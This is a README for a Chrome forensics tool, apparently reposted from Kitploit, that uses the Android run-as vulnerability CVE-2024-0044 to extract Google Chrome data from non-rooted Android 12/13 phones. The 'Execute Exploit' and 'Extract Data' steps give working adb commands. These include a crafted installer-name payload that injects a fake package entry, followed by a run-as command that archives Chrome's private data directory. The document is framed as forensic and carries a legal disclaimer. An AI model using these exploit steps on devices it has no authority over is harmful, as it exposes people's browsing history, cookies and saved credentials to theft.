🔍 Chrome Forensic - CVE-2024-0044

👤 Author Information

Author: JackTekno
GitHub: github.com/JackTekno

📋 Overview

This tool utilizes the CVE-2024-0044 (Run-as) vulnerability to bypass permission restrictions on non-rooted Android 12/13 devices, enabling forensic extraction of Google Chrome data. The tool parses raw SQLite databases and generates comprehensive analysis reports.

🔄 Process Flow

📊 Features & Output

The tool generates a comprehensive Excel report (result_chrome_forensic.xlsx) with the following sheets:

🛠️ Prerequisites

Hardware Requirements

• 📱 Android Phone (Android 12/13)
• 💻 PC (Linux/Windows/Mac)

Tested Environment

• 🐧 OS: Linux UOS 20 Professional

Software Requirements

• 🐍 Python 3.x
• 📲 ADB (Android Debug Bridge)
• 📦 Dummy APK file (e.g., F-Droid.apk)

🚀 Installation

1. Clone the repository

   root@kitploit:~

   git clone https://github.com/JackTekno/Chrome-Forensic_CVE-2024-0044.git
   cd Chrome-Forensic_CVE-2024-0044
   

2. Install dependencies

   root@kitploit:~

   pip install -r requirements.txt
   

🔓 Data Acquisition Guide

Step 1: Prepare the Device

1. Navigate to Settings → About Phone
2. Tap Build Number 7 times to enable Developer Options
3. Go to Settings → System → Developer Options
4. Enable USB Debugging
5. Connect phone to PC via USB and authorize the connection

Step 2: Prepare the Exploit

# Push a dummy APK to temporary folder
adb push F-Droid.apk /data/local/tmp/base.apk

Step 3: Find Target UID

adb shell pm list packages -U | grep com.android.chrome
# Output example: package:com.android.chrome uid:10129
# Note the UID (e.g., 10129)

Step 4: Execute Exploit

⚠️ Replace 10129 with your actual Chrome UID from Step 3

adb shell

# Inside ADB Shell:
PAYLOAD="@null
victim 10129 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"

# Trigger the package manager
pm install -i "$PAYLOAD" /data/local/tmp/base.apk

Step 5: Extract Data

# Still inside ADB Shell
run-as victim tar -cf - /data/data/com.android.chrome/ | cat > /data/local/tmp/chrome.tar

# Exit ADB Shell
exit

Step 6: Pull Data to PC

adb pull /data/local/tmp/chrome.tar .

Step 7: Unpack Data

Extract the 'chrome.tar' file in the project folder. You do not need to move files manually. The Python script will automatically find the database files inside the extracted folders.

tar -xf chrome.tar

💻 Usage

Run the forensic analysis tool:

python3 chrome_forensic.py

The tool will analyze the database files and generate result_chrome_forensic.xlsx in the same directory.

⚖️ Legal Disclaimer

⚠️ IMPORTANT: This tool is designed for educational and authorized forensic analysis purposes only.

• Only use on devices you own or have explicit written permission to analyze
• Unauthorized access to digital devices may violate laws in your jurisdiction
• The authors assume no liability for misuse of this tool

🤝 Contributing

Contributions are welcome! Please feel free to submit a Pull Request.

📄 License

This project is licensed under the GNU General Public License v3.0. See the LICENSE file for details.

👤 Credit

The proof of concept for the acquisition method was summarised and shared by Tinyhack.com.